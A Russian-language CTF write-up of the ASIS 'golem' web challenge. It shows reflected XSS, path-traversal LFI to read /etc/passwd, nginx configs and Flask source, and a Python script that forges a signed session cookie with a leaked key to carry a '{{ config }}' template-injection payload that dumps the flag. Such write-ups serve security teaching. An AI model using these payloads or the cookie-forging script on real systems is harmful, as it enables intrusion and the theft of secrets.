Текст задания выглядел следующим образом:
При клике на ссылку из задания открывалась страница с полем для ввода:
Исследование кода страницы ничего не дало, файл robots.txt отсутствовал, в заголовках тоже ничего (кроме того факта, что сервер запущен на Nginx). Пробуем заполнить и отослать форму, вводим test и видим предложение прочитать статью.
Кроме того, введя в форму <script>alert(1)</script>
мы видим alert и понимаем, что это поле подвержено reflected XSS. Но это ничего не дает, исследуем дальше. Кликаем на ссылку article.
Обращаем внимание на адресную строку. Проверяем на LFI, вводим name=../../../../../../etc/passwd
и видим содержимое файла. Но мы не знаем, где находится флаг, т.о. нам необходимо прочитать исходный код сервера. Т.к. мы так же не знаем, где находится исходник сервера, необходимо в первую очередь прочитать конфиг nginx. Делаем это введя name=../../../../etc/nginx/nginx.conf
и обнаруживаем интересные для нас строки:
##
# Virtual Host Configs
##
## configs: default, golem
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
Теперь, введя name=../../../etc/nginx/sites-enabled/golem
узнаем адрес root папки этого приложения.
location / {
uwsgi_pass golem;
include uwsgi_params;
}
location /static/ {
root /opt/serverPython/golem;
expires 30d;
}
Далее, перебрав возможные имена («main.py», «app.py», «server.py») удается прочитать исходный код сервера (name=../../../opt/serverPython/golem/server.py
):
#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask.ext.session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key
@app.route("/golem", methods=["GET", "POST"])
def golem():
if request.method != "POST":
return redirect(url_for("index"))
golem = request.form.get("golem") or None
if golem is not None:
golem = golem.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "golem" not in session or session['golem'] is None:
session['golem'] = golem
template = None
if session['golem'] is not None:
template = '''{%% extends "layout.html" %%} {%% block body %%} <h1>Golem Name</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> {%% endblock %%} ''' % session['golem']
print
session['golem'] = None
return render_template_string(template)
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('/home/golem/articles/{}'.format(page)).read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
В строках 7 и 8 видим подключение интересных для нас файлов. Читаем «key.py» (name=../../../opt/serverPython/golem/key.py
), получаем: key = '7h15_5h0uld_b3_r34lly_53cur3d'
. К сожалению, мы не можем так же прочитать файл «flag.py» из-за строк 52 и 53.
Еще раз внимательно изучаем код сервера и обращаем внимание на этот участок:
@app.route("/golem", methods=["GET", "POST"])
def golem():
if request.method != "POST":
return redirect(url_for("index"))
golem = request.form.get("golem") or None
if golem is not None:
golem = golem.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "golem" not in session or session['golem'] is None:
session['golem'] = golem
template = None
if session['golem'] is not None:
template = '''{%% extends "layout.html" %%}
{%% block body %%}
<h1>Golem Name</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div>
{%% endblock %%} ''' % session['golem']
print
session['golem'] = None
return render_template_string(template)
Вспоминаем о такой уязвимости, как Server Side Template Injection. Строки 8 и 9 фильтруют наши данные, не позволяя использовать ‘.’, ‘_’, ‘{‘ Или ‘}’. Уязвимость этого кода заключается в том, что фильтруются данные, полученные из POST запроса, но не cookie. К счастью, у нас есть секретный ключ сервера для подписания сессии, что позволяет нам создавать куки, содержащие произвольные полезные нагрузки.
Ниже приведен скрипт Python, который генерирует сериализованный файл cookie (как это делает Flask), в котором мы добавляем нашу полезную нагрузку для получения переменной «config»:
import requests
from flask.sessions import SecureCookieSessionInterface
class App(object):
def __init__(self):
self.secret_key = None
secret_key = '7h15_5h0uld_b3_r34lly_53cur3d'
payload = {'golem': '{{ config }}'}
app = App()
app.secret_key = secret_key
# Cookie serialization
serialize = SecureCookieSessionInterface()
serialize = serialize.get_signing_serializer(app)
session = serialize.dumps(payload)
# Preparing cookie for the request which will be sent
cookie = {'session': session}
# POST request using the cookie containing our payload
r = requests.post("https://golem.asisctf.com/golem", cookies=cookie)
print(r.text)
Запускаем и получаем следующий ответ:
<!doctype html>
<title>Winter is coming</title>
<div class="page">
<h1>Golem Name</h1>
<div class="row>
<div class="col-md-6 col-md-offset-3 center">
Hello : <Config {'JSON_AS_ASCII': True,
[...]
'FLAG': 'ASIS{I_l0v3_SerV3r_S1d3_T3mplate_1nj3ct1on!!}',
[...]}>, why you don't look at our <a href='/article?name=article'>article</a>?
</div>
</div>
</div>
Флаг — ASIS{I_l0v3_SerV3r_S1d3_T3mplate_1nj3ct1on!!}